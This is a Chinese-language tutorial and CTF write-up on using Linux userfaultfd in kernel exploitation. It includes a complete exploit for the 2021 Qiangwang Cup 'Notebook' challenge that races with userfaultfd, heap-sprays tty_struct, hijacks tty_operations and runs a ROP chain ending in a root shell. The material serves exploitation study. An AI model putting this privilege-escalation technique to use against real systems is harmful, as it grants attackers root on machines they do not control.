userfaultfd 是linux 内核提供的一种特殊的缺页处理机制,允许用户自定义操作,大大提高了条件竞争漏洞的利用概率。

img

Linux manual page 提供的官方手册中有一段有助于理解的代码和一些参数说明

创建对象:

1
2
3
4
5
6
7
8
9
10
11
12
13
int syscall(SYS_userfaultfd, int flags );

uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
//close-on-exec :O_CLOEXEC 这个意思是打开的一个标志位,在执行exec时,在新fork的程序里需要关闭此fd,在创建时包含该flag,可以防止竞争的产生
//O_NONBLOCK为 userfaultfd 对象启用非阻塞操作


//创建 userfaultfd 对象后,应用程序必须使用UFFDIO_API ioctl 操作启用它。此操作允许内核和用户空间之间的握手以确定 API 版本和支持
//的功能。此操作必须在下述任何其他ioctl(2)操作
uffdio_api.api = UFFD_API;
uffdio_api.features = 0;
ioctl(uffd, UFFDIO_API, &uffdio_api)

glibc没有提供相关的包装函数,使用syscall创建一个userfaultfd对象,返回其描述符。

注册userfault内存:

1
2
3
4
5
6
7
uffdio_register.range.start = (unsigned long) addr;
uffdio_register.range.len = len;
uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING
ioctl(uffd, UFFDIO_REGISTER, &uffdio_register)
// 在成功完成UFFDIO_REGISTER操作后,在请求的内存范围内发生并满足注册时定义的模式的页面错误将由内核转发给用户空间应用程序。然后应用程序可以使用UFFDIO_COPY或UFFDIO_ZEROPAGE ioctl 操作来解决页面错误。


1
2
3
Userfaultfd 支持两种注册模式:
UFFDIO_REGISTER_MODE_MISSING:触发缺页异常的线程阻塞,直至通过UFFDIO_COPY或UFFDIO_ZEROPAGE ioctl 解决异常。
UFFDIO_REGISTER_MODE_WP:触发写保护错误的线程阻塞,直至通过UFFDIO_WRITEPROTECT ioctl解除写保护 (可以在触发cow时?还未尝试)

监听文件fd,等待msg:

发送的msg为uffd_msg 结构体

使用pool函数来不断等待这个msg,要监听的文件用以下结构体存储

1
2
3
4
5
struct pollfd {
int fd; /* file descriptor */
short events; /* requested events */
short revents; /* returned events */
};
1
2
3
4
5
6
7
int ppoll(struct pollfd * fds , nfds_t nfds , const struct timespec * tmo_p , const sigset_t * sigmask );

//nfds为fds数组的项数
pollfd.fd = uffd;
pollfd.events = POLLIN;
nready = poll(&pollfd, 1, -1);
//POLLIN代表有数据要读取

页处理操作:

1
2
3
4
5
6
uffdio_copy.dst = (unsigned long) msg.arg.pagefault.address & ~(page_size - 1);
uffdio_copy.len = page_size;
uffdio_copy.mode = 0;
uffdio_copy.copy = 0;
ioctl(uffd, UFFDIO_COPY, &uffdio_copy)
//使用UFFDIO_COPY进行拷贝

下面的程序展示了userfaultfd的使用。 程序创建了两个线程,一个充当uffd monitor,主线程用于触发缺页错误,页错误将 通过 userfaultfd 处理。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
#include <sys/types.h>
#include <stdio.h>
#include <linux/userfaultfd.h>
#include <pthread.h>
#include <errno.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <poll.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <poll.h>

static int page_size;

void errExit(char * msg)
{
printf("[x] Error at: %s\n", msg);
exit(-1);
}

static void *
fault_handler_thread(void *arg)
{
static struct uffd_msg msg; /* Data read from userfaultfd */
static int fault_cnt = 0; /* Number of faults so far handled */
long uffd; /* userfaultfd file descriptor */
static char *page = NULL;
struct uffdio_copy uffdio_copy;
ssize_t nread;

​ uffd = (long) arg;

/* Create a page that will be copied into the faulting region */

if (page == NULL)
​ {
​ page = mmap(NULL, page_size, PROT_READ | PROT_WRITE,
​ MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (page == MAP_FAILED)
​ errExit("mmap");
​ }

/* Loop, handling incoming events on the userfaultfd
​ file descriptor */

for (;;)
​ {
/* See what poll() tells us about the userfaultfd */

struct pollfd pollfd;
int nready;
​ pollfd.fd = uffd;
​ pollfd.events = POLLIN;
​ nready = poll(&pollfd, 1, -1);
if (nready == -1)
​ errExit("poll");

printf("\nfault_handler_thread():\n");
printf(" poll() returns: nready = %d; "
"POLLIN = %d; POLLERR = %d\n", nready,
​ (pollfd.revents & POLLIN) != 0,
​ (pollfd.revents & POLLERR) != 0);

/* Read an event from the userfaultfd */

​ nread = read(uffd, &msg, sizeof(msg));
if (nread == 0)
​ {
printf("EOF on userfaultfd!\n");
exit(EXIT_FAILURE);
​ }

if (nread == -1)
​ errExit("read");

/* We expect only one kind of event; verify that assumption */

if (msg.event != UFFD_EVENT_PAGEFAULT)
​ {
fprintf(stderr, "Unexpected event on userfaultfd\n");
exit(EXIT_FAILURE);
​ }
/* Display info about the page-fault event */

printf(" UFFD_EVENT_PAGEFAULT event: ");
printf("flags = %llx; ", msg.arg.pagefault.flags);
printf("address = %llx\n", msg.arg.pagefault.address);

/* Copy the page pointed to by 'page' into the faulting
​ region. Vary the contents that are copied in, so that it
​ is more obvious that each fault is handled separately. */

memset(page, 'A' + fault_cnt % 20, page_size);
​ fault_cnt++;

​ uffdio_copy.src = (unsigned long) page;

/* We need to handle page faults in units of pages(!).
​ So, round faulting address down to page boundary */

​ uffdio_copy.dst = (unsigned long) msg.arg.pagefault.address &
​ ~(page_size - 1);
​ uffdio_copy.len = page_size;
​ uffdio_copy.mode = 0;
​ uffdio_copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1)
​ errExit("ioctl-UFFDIO_COPY");

printf(" (uffdio_copy.copy returned %lld)\n",
​ uffdio_copy.copy);
​ }
}


int main(int argc, char ** argv, char ** envp)
{
long uffd; /* userfaultfd file descriptor */
char *addr; /* Start of region handled by userfaultfd */
unsigned long len; /* Length of region handled by userfaultfd */
pthread_t thr; /* ID of thread that handles page faults */
struct uffdio_api uffdio_api;
struct uffdio_register uffdio_register;

​ page_size = sysconf(_SC_PAGE_SIZE);

/* Create and enable userfaultfd object */
​ uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
if (uffd == -1)
​ errExit("userfaultfd");

​ uffdio_api.api = UFFD_API;
​ uffdio_api.features = 0;
if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1)
​ errExit("ioctl-UFFDIO_API");

/* Create a private anonymous mapping. The memory will be
​ demand-zero paged--that is, not yet allocated. When we
​ actually touch the memory, it will be allocated via
​ the userfaultfd. */
​ len = 0x1000;
​ addr = (char*) mmap(NULL, page_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (addr == MAP_FAILED)
​ errExit("mmap");

/* Register the memory range of the mapping we just created for
​ handling by the userfaultfd object. In mode, we request to track
​ missing pages (i.e., pages that have not yet been faulted in). */

​ uffdio_register.range.start = (unsigned long) addr;
​ uffdio_register.range.len = len;
​ uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1)
​ errExit("ioctl-UFFDIO_REGISTER");

/* Create a thread that will process the userfaultfd events */
int s = pthread_create(&thr, NULL, fault_handler_thread, (void *) uffd);
if (s != 0)
​ errExit("pthread_create");

/* Trigger the userfaultfd event */
void * ptr = (void*) *(unsigned long long*) addr;
printf("Get data: %p\n", ptr);

return 0;
}

综上,我们可以提炼出userfaultfd的使用模板:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
#include <errno.h>
#include <fcntl.h>
#include <inttypes.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <unistd.h>
static int PAGE_SIZE;
void errExit(char* msg) {
printf("[x] Error at: %s\n", msg);
exit(-1);
}
void userfault_register(void* fault_addr, void* fault_handler_thread) {
long uffd; /* userfaultfd file descriptor */
pthread_t thr; /* ID of thread that handles page faults */
struct uffdio_api uffdio_api;
struct uffdio_register uffdio_register;
//创建和初始化api
uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
if (uffd == -1)
errExit("userfaultfd");
uffdio_api.api = UFFD_API;
uffdio_api.features = 0;
if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1)
errExit("ioctl-UFFDIO_API");
//注册内存
uffdio_register.range.start = (unsigned long)fault_addr;
uffdio_register.range.len = len;
uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1)
errExit("ioctl-UFFDIO_REGISTER");
//创建monitor线程,处理page fault
int s = pthread_create(&thr, NULL, fault_handler_thread, (void*)uffd);
if (s != 0) {
errno = s;
errExit("pthread_create");
}
}

void fault_handler_thread(void* arg) {
static struct uffd_msg msg;
long uffd;
struct uffdio_copy uffdio_copy;
struct pollfd pollfd;
int nread;
int nready;
uffd = (long)arg;
pollfd.fd = uffd;
pollfd.events = POLLIN;
nready = poll(&pollfd, 1, -1);
if (nready == -1)
errExit("poll");
if (nready != 1) {
errExit("[-] Wrong poll return val");
}
nread = read(uffd, &msg, sizeof(msg));
if (nread <= 0) {
errExit("[-] msg err");
}
char* page = (char*)mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (page == MAP_FAILED) {
errExit("[-] mmap err");
}
// init page
memset(page, 0, sizeof(page));
uffdio_copy.src = (unsigned long)page;
uffdio_copy.dst =
(unsigned long)msg.arg.pagefault.address & ~(PAGE_SIZE - 1);
uffdio_copy.len = PAGE_SIZE;
uffdio_copy.mode = 0;
uffdio_copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1)
errExit("ioctl-UFFDIO_COPY");
puts("[+] fault_handler done");
return;
}


使用时根据需求自己进行调整即可,在handler处加sleep() 较长时间的话,可以让userfault卡在那里 ,从而更好地进行race

2021强网杯 Notebook

思路基本参考了 arttnba3师傅 https://www.anquanke.com/post/id/253835#h3-8 ,在这里不赘述了

使用的是userfault+heap spray tty,劫持tty从而进行rop

要注意的点:

image-20221101023458787

搬运一下一位师傅的https://www.anquanke.com/post/id/253835#h3-8

ptm_unix98_ops && pty_unix98_ops

在 ptmx 被打开时内核通过 alloc_tty_struct() 分配 tty_struct 的内存空间,之后会将 tty_operations 初始化为全局变量 ptm_unix98_opspty_unix98_ops,在调试阶段我们可以先关掉 kaslr 开 root 从 /proc/kallsyms 中读取其偏移

开启了 kaslr 的内核在内存中的偏移依然以内存页为粒度,故我们可以通过比对 tty_operations 地址的低三16进制位来判断是 ptm_unix98_ops 还是 pty_unix98_ops

_check_object_size 函数, 这使得我们需要修复notebook的size,其大小要小于等于其buf大小

https://github.com/hardenedlinux/grsecurity-101-tutorials/blob/master/grsec-code-analysis/PAX_USERCOPY.md

他的设计思路是:

  1. 若指针在堆中,检查复制数据是否会溢出到非分配区域
  2. 若在栈中,检查复制数据是否将会溢出到非当前栈帧中

在堆上的检查,主要是指针合法性检查,指针指向的内存属性检查,复制的长度计算检查,返回NULL会进入栈上检查,返回包含内存信息字符串用于后续报错,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#ifdef CONFIG_PAX_USERCOPY
const char *check_heap_object(const void *ptr, unsigned long n, bool to)
{
struct page *page;
struct kmem_cache *cachep;
struct slab *slabp;
unsigned int objnr;
unsigned long offset;

if (ZERO_OR_NULL_PTR(ptr)) /*指针为空指针,返回字符串,直接进入 pax_report_usercopy*/
return "<null>";

if (!virt_addr_valid(ptr)) /*虚拟地址不合法,进入 check_stack_object 检查*/
return NULL;

page = virt_to_head_page(ptr); /*获得该地址所在的页*/

if (!PageSlab(page)) /*不是通过 kmalloc 而来,栈上*/
return NULL;

cachep = page_get_cache(page); /*获得指针相应的 kmem_cache 结构体*/
if (!(cachep->flags & SLAB_USERCOPY)) /* SLAB_USERCOPY 若未置位,说明该内存不能进行 usercopy*/
return cachep->name; /*返回包含slab信息的字符串,进入pax_report_usercopy报错*/

slabp = page_get_slab(page); /*获得 slab* 指针*/
objnr = obj_to_index(cachep, slabp, ptr);
BUG_ON(objnr >= cachep->num); /*超出分配的object个数*/
offset = ptr - index_to_obj(cachep, slabp, objnr) - obj_offset(cachep); /*指针相对长度,这里涉及一些 slab 的 object 数组的转换计算*/
if (offset <= obj_size(cachep) && n <= obj_size(cachep) - offset) /*长度检查通过*/
return NULL;

return cachep->name; /*返回 cache 信息,供 pax_report_usercopy 报错*/
}
#endif

myusfd.h

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
#include <errno.h>
#include <fcntl.h>
#include <inttypes.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <unistd.h>
static int PAGE_SIZE = 0x1000;
void errExit(char* msg) {
printf("[x] Error at: %s\n", msg);
exit(-1);
}
void userfault_register(void* fault_addr, void* fault_handler_thread) {
long uffd; /* userfaultfd file descriptor */
pthread_t thr; /* ID of thread that handles page faults */
struct uffdio_api uffdio_api;
struct uffdio_register uffdio_register;
//创建和初始化api
uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
if (uffd == -1)
errExit("userfaultfd");
uffdio_api.api = UFFD_API;
uffdio_api.features = 0;
if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1)
errExit("ioctl-UFFDIO_API");
//注册内存
uffdio_register.range.start = (unsigned long)fault_addr;
uffdio_register.range.len = PAGE_SIZE;
uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1)
errExit("ioctl-UFFDIO_REGISTER");
//创建monitor线程,处理page fault
int s = pthread_create(&thr, NULL, fault_handler_thread, (void*)uffd);
if (s != 0) {
errno = s;
errExit("pthread_create");
}
}
struct file_operations;
struct tty_struct;
struct tty_driver;
struct serial_icounter_struct;

struct tty_operations {
struct tty_struct* (*lookup)(struct tty_driver* driver,
struct file* filp,
int idx);
int (*install)(struct tty_driver* driver, struct tty_struct* tty);
void (*remove)(struct tty_driver* driver, struct tty_struct* tty);
int (*open)(struct tty_struct* tty, struct file* filp);
void (*close)(struct tty_struct* tty, struct file* filp);
void (*shutdown)(struct tty_struct* tty);
void (*cleanup)(struct tty_struct* tty);
int (*write)(struct tty_struct* tty, const unsigned char* buf, int count);
int (*put_char)(struct tty_struct* tty, unsigned char ch);
void (*flush_chars)(struct tty_struct* tty);
int (*write_room)(struct tty_struct* tty);
int (*chars_in_buffer)(struct tty_struct* tty);
int (*ioctl)(struct tty_struct* tty, unsigned int cmd, unsigned long arg);
long (*compat_ioctl)(struct tty_struct* tty,
unsigned int cmd,
unsigned long arg);
void (*set_termios)(struct tty_struct* tty, struct ktermios* old);
void (*throttle)(struct tty_struct* tty);
void (*unthrottle)(struct tty_struct* tty);
void (*stop)(struct tty_struct* tty);
void (*start)(struct tty_struct* tty);
void (*hangup)(struct tty_struct* tty);
int (*break_ctl)(struct tty_struct* tty, int state);
void (*flush_buffer)(struct tty_struct* tty);
void (*set_ldisc)(struct tty_struct* tty);
void (*wait_until_sent)(struct tty_struct* tty, int timeout);
void (*send_xchar)(struct tty_struct* tty, char ch);
int (*tiocmget)(struct tty_struct* tty);
int (*tiocmset)(struct tty_struct* tty,
unsigned int set,
unsigned int clear);
int (*resize)(struct tty_struct* tty, struct winsize* ws);
int (*set_termiox)(struct tty_struct* tty, struct termiox* tnew);
int (*get_icount)(struct tty_struct* tty,
struct serial_icounter_struct* icount);
void (*show_fdinfo)(struct tty_struct* tty, struct seq_file* m);
#ifdef CONFIG_CONSOLE_POLL
int (*poll_init)(struct tty_driver* driver, int line, char* options);
int (*poll_get_char)(struct tty_driver* driver, int line);
void (*poll_put_char)(struct tty_driver* driver, int line, char ch);
#endif
const struct file_operations* proc_fops;
};

myexp.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
#include <pthread.h>
#include <semaphore.h>
#include <sys/sem.h>
#include "myusfd.h"


#define TTY_STRUCT_SIZE 0x2e0
#define PTM_UNIX98_OPS 0xffffffff81e8e440
#define PTY_UNIX98_OPS 0xffffffff81e8e320
#define COMMIT_CREDS 0xffffffff810a9b40
#define PREPARE_KERNEL_CRED 0xffffffff810a9ef0
#define SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE 0xffffffff81a00929
#define PUSH_RDI_POP_RSP_POP_RBP_ADD_RAX_RDX_RET 0xffffffff81238d50
#define MOV_RSP_RBP_POP_RBP_RET 0xffffffff8107875c
#define POP_RDI_RET 0xffffffff81007115
#define MOV_RDI_RAX_POP_RBP_RET \
0xffffffff81045833 // mov rdi, rax; xor eax, eax; cmp rdi, 0x9000000; je
// 0x245843; pop rbp; ret;
#define POP_RDX_RET 0xffffffff81358842
#define RET 0xffffffff81000091
#define SWAPGS_POP_RBP_RET 0xffffffff810637d4
#define IRETQ 0xffffffff810338bb
#define POP_RDX_POP_R12_POP_RBP_RET 0xffffffff810880c1
#define POP_RSI_POP_RDI_POP_RBX_RET 0xffffffff81079c38
#define POP_RBP_RET 0xffffffff81000367
#define POP_RBX_POP_RBP_RET 0xffffffff81002141
#define POP_RAX_POP_RBX_POP_RBP_RET 0xffffffff810cadf7


static long notefd;
static char* page;
char* note_buf;
size_t user_cs, user_ss, user_rflags, user_sp;

size_t kernel_offset = 0, kernel_base = 0xffffffff81000000;
size_t commit_creds = 0, prepare_kernel_cred = 0;
static sem_t sem_add, sem_edit;

typedef struct {
size_t idx;
size_t size;
char* buf;
} Note;

void fault_handler_thread(void* arg) {
static struct uffd_msg msg;
long uffd;
struct uffdio_copy uffdio_copy;
struct pollfd pollfd;
int nread;
int nready;
uffd = (long)arg;
pollfd.fd = uffd;
pollfd.events = POLLIN;
nready = poll(&pollfd, 1, -1);
if (nready == -1)
errExit("poll");
if (nready != 1) {
errExit("[-] Wrong poll return val");
}
nread = read(uffd, &msg, sizeof(msg));

// for stuck
sleep(100);

if (nread <= 0) {
errExit("[-] msg err");
}
// char* page = (char*)mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE,
// MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
// if (page == MAP_FAILED) {
// errExit("[-] mmap err");
// }
// init page
memset(note_buf, 0, sizeof(note_buf));
uffdio_copy.src = (unsigned long)note_buf;
uffdio_copy.dst =
(unsigned long)msg.arg.pagefault.address & ~(PAGE_SIZE - 1);
uffdio_copy.len = PAGE_SIZE;
uffdio_copy.mode = 0;
uffdio_copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1)
errExit("ioctl-UFFDIO_COPY");
puts("[+] fault_handler done");
return;
}

void saveStatus() {
__asm__(
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;");
printf("\033[34m\033[1m[*] Status has been saved.\033[0m\n");
}

void getRootShell(void) {
puts("\033[32m\033[1m[+] Backing from the kernelspace.\033[0m");

if (getuid()) {
puts("\033[31m\033[1m[x] Failed to get the root!\033[0m");
exit(-1);
}

puts(
"\033[32m\033[1m[+] Successful to get the root. Execve root shell "
"now...\033[0m");
system("/bin/sh");
}


void noteadd(size_t idx,size_t size,char *buf){
Note note = {
.idx = idx,
.size = size,
.buf = buf,
};
ioctl(notefd, 0x100, &note);
}
void notedel(size_t idx){
Note note = {.idx = idx};
ioctl(notefd, 0x200, &note);
}
void notegift(char *buf){
Note note = {.buf = buf};
ioctl(notefd, 0x64, &note);
}
void noteedit(size_t idx,size_t size,char *buf){
Note note = {
.idx = idx,
.size = size,
.buf = buf,
};
ioctl(notefd, 0x300, &note);
}
void evilEdit(void *args){
sem_wait(&sem_edit);
//try realloc 0 ?
noteedit((int)args, 0x2000, page);
}
void evilAdd(void* args) {
sem_wait(&sem_add);
noteadd((int)args, 0x50, page);
}

struct {
void* buf;
size_t size;
} notebook[0x10];

int main(){
/********************* Initial *****************/
int tty_fd[0x100], tty_idx, fake_tty_ops_idx = -1, fake_stack_idx = -1,
hit_tty = 0;
size_t tty_data[0x200], fake_tty_data[0x200], tty_ops,
fake_tty_ops_data[0x200], rop[0x100];
pthread_t tmp_t, add_t, edit_t;

page = (char*)mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
note_buf = malloc(0x1000);
userfault_register(page, fault_handler_thread);
saveStatus();
sem_init(&sem_add, 0, 0);
sem_init(&sem_edit, 0, 0);

notefd = open("/dev/notebook", O_RDWR);
strcpy(note_buf, "abcdefg");
for (int i = 0; i < 0x10;i++){
noteadd(i, 0x60, note_buf);
noteedit(i, TTY_STRUCT_SIZE, note_buf);
}
puts("\033[32m\033[1m[+] Notebook initialization done.\033[0m");
sleep(1);

// get all the note free and get the threads stuck by userfaultfd to save
// their ptrs
for (int i = 0; i < 0x10;i++){
pthread_create(&edit_t, NULL, evilEdit, (void*)i);
}
puts("\033[34m\033[1m[*] Edit threads started.\033[0m");

for (int i = 0; i < 0x10;i++){
sem_post(&sem_edit);
}
puts("\033[32m\033[1m[+] Edit threads trapped in userfaultfd.\033[0m");
sleep(1);

// heap spraying to hit the tty_struct
for (int i = 0; i < 0x80; i++)
tty_fd[i] = open("/dev/ptmx", O_RDWR | O_NOCTTY);
puts("\033[32m\033[1m[+] Heap spray for tty done.\033[0m");
sleep(1);

// change the size stored in notebook to pass _check_object_size and get the
// threads stuck by userfaultfd to save the ptrs
for (int i = 0; i < 0x10; i++)
pthread_create(&add_t, NULL, evilAdd, (void*)i);
puts("\033[34m\033[1m[*] Add threads started.\033[0m");

for (int i = 0; i < 0x10; i++)
sem_post(&sem_add);
puts("\033[32m\033[1m[+] Add threads trapped in userfaultfd.\033[0m");
sleep(1);

// check whether we've hit the tty_struct
notegift((char*)notebook);
for (int i = 0; i < 0x10; i++) {
read(notefd, tty_data, i);
if (hit_tty = (*((int*)tty_data) == 0x5401)) {
printf(
"\033[32m\033[1m[+] Successfully hit the tty_struct at idx "
"\033[0m%d.\n",
tty_idx = i);
printf("\033[32m\033[1m[+] Address of the tty_struct: \033[0m%p.\n",
notebook[i].buf);
break;
}
}
if (!hit_tty)
errExit("Failed to hit the tty struct.");

printf("\033[34m\033[1m[*] read tty success \n");
// get kernel base
tty_ops = *(unsigned long long*)(tty_data + 3);
kernel_offset = ((tty_ops & 0xfff) == (PTY_UNIX98_OPS & 0xfff)
? (tty_ops - PTY_UNIX98_OPS)
: tty_ops - PTM_UNIX98_OPS);
kernel_base = (void*)((size_t)kernel_base + kernel_offset);
prepare_kernel_cred = PREPARE_KERNEL_CRED + kernel_offset;
commit_creds = COMMIT_CREDS + kernel_offset;
printf("\033[34m\033[1m[*] Kernel offset: \033[0m0x%llx\n", kernel_offset);
printf("\033[32m\033[1m[+] Kernel base: \033[0m%p\n", kernel_base);
printf("\033[32m\033[1m[+] prepare_kernel_cred: \033[0m%p\n",
prepare_kernel_cred);
printf("\033[32m\033[1m[+] commit_creds: \033[0m%p\n", commit_creds);
printf(
"\033[32m\033[1m[+] swapgs_restore_regs_and_return_to_usermode: "
"\033[0m%p\n",
SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE + kernel_offset);
printf("\n\n\033[32m\033[1m[+] just for debug :%p\n\n",
PUSH_RDI_POP_RSP_POP_RBP_ADD_RAX_RDX_RET + kernel_offset);
notegift((char*)notebook);
for (int i = 0; i < 0x10; i++) {
read(notefd, tty_data, i);
if (*((int*)tty_data) != 0x5401) {
if (fake_tty_ops_idx == -1)
printf(
"\033[34m\033[1m[*] Fake tty_operations at idx "
"\033[0m%d.\n",
fake_tty_ops_idx = i);
else {
printf("\033[34m\033[1m[*] Fake stack at idx \033[0m%d.\n",
fake_stack_idx = i);
break;
}
}
}
if (fake_tty_ops_idx == -1 || fake_stack_idx == -1)
errExit(
"Unable to find enough available notes, you\'re so lucky that you "
"got so many tty_structs.");

sleep(1);
noteedit(fake_tty_ops_idx, TTY_STRUCT_SIZE, fake_tty_data);
noteedit(fake_stack_idx, 0x100, rop);
notegift((char*)notebook);
printf(
"\033[32m\033[1m[+] Address of the fake tty_operations: \033[0m%p.\n",
notebook[fake_tty_ops_idx].buf);
printf("\033[32m\033[1m[+] Address of the fake stack: \033[0m%p.\n",
notebook[fake_stack_idx].buf);


sleep(20);
// restore tty_struct data
read(notefd, tty_data, tty_idx);
memcpy(fake_tty_data, tty_data, sizeof(size_t) * 0x200);

((struct tty_operations*)fake_tty_ops_data)->write =
PUSH_RDI_POP_RSP_POP_RBP_ADD_RAX_RDX_RET + kernel_offset;
// second migration back to tty_operations
fake_tty_data[1] = POP_RBX_POP_RBP_RET + kernel_offset;
fake_tty_data[3] = notebook[fake_tty_ops_idx].buf;
fake_tty_data[4] = MOV_RSP_RBP_POP_RBP_RET + kernel_offset;

// third migration to a note
fake_tty_ops_data[1] = POP_RBP_RET + kernel_offset;
fake_tty_ops_data[2] = notebook[fake_stack_idx].buf;
fake_tty_ops_data[3] = MOV_RSP_RBP_POP_RBP_RET + kernel_offset;

// final rop
int rop_idx = 0;
rop[rop_idx++] = 0x3361626e74747261; // arttnba3
rop[rop_idx++] = POP_RDI_RET + kernel_offset;
rop[rop_idx++] = 0;
rop[rop_idx++] = prepare_kernel_cred;
rop[rop_idx++] = POP_RDX_RET + kernel_offset;
rop[rop_idx++] = RET;
rop[rop_idx++] = MOV_RDI_RAX_POP_RBP_RET + kernel_offset;
rop[rop_idx++] = 0x3361626e74747261; // arttnba3
rop[rop_idx++] = commit_creds;
rop[rop_idx++] =
SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE + 22 + kernel_offset;
rop[rop_idx++] = 0;
rop[rop_idx++] = 0;
rop[rop_idx++] = (size_t)&getRootShell;
rop[rop_idx++] = user_cs;
rop[rop_idx++] = user_rflags;
rop[rop_idx++] = user_sp;
rop[rop_idx++] = user_ss;

write(notefd, rop, fake_stack_idx); // copy the ropchain
write(notefd, fake_tty_ops_data,
fake_tty_ops_idx); // hijack the tty_operations
write(notefd, fake_tty_data, tty_idx); // hijack the tty_struct
puts("\033[32m\033[1m[+] TTY DATA hijack done.\033[0m");

// exploit
puts("\033[34m\033[1m[*] Start to exploit...\033[0m");
for (int i = 0; i < 0x80; i++)
write(tty_fd[i], note_buf, 233);

return 0;
}

此时的rdi=tty_struct ,这里这位师傅用了两次栈迁移 ,rop链相对繁琐一些

image-20221101034315777

参考:

Linux 手册 https://man7.org/linux/man-pages/man2/userfaultfd.2.html

浅析 userfaultfd 在 kernel pwn 中的利用 https://www.anquanke.com/post/id/253835#h3-5

从强网杯 2021 线上赛题目 notebook 中浅析 userfaultfd 在 kernel pwn 中的利用 https://www.anquanke.com/post/id/253835#h3-8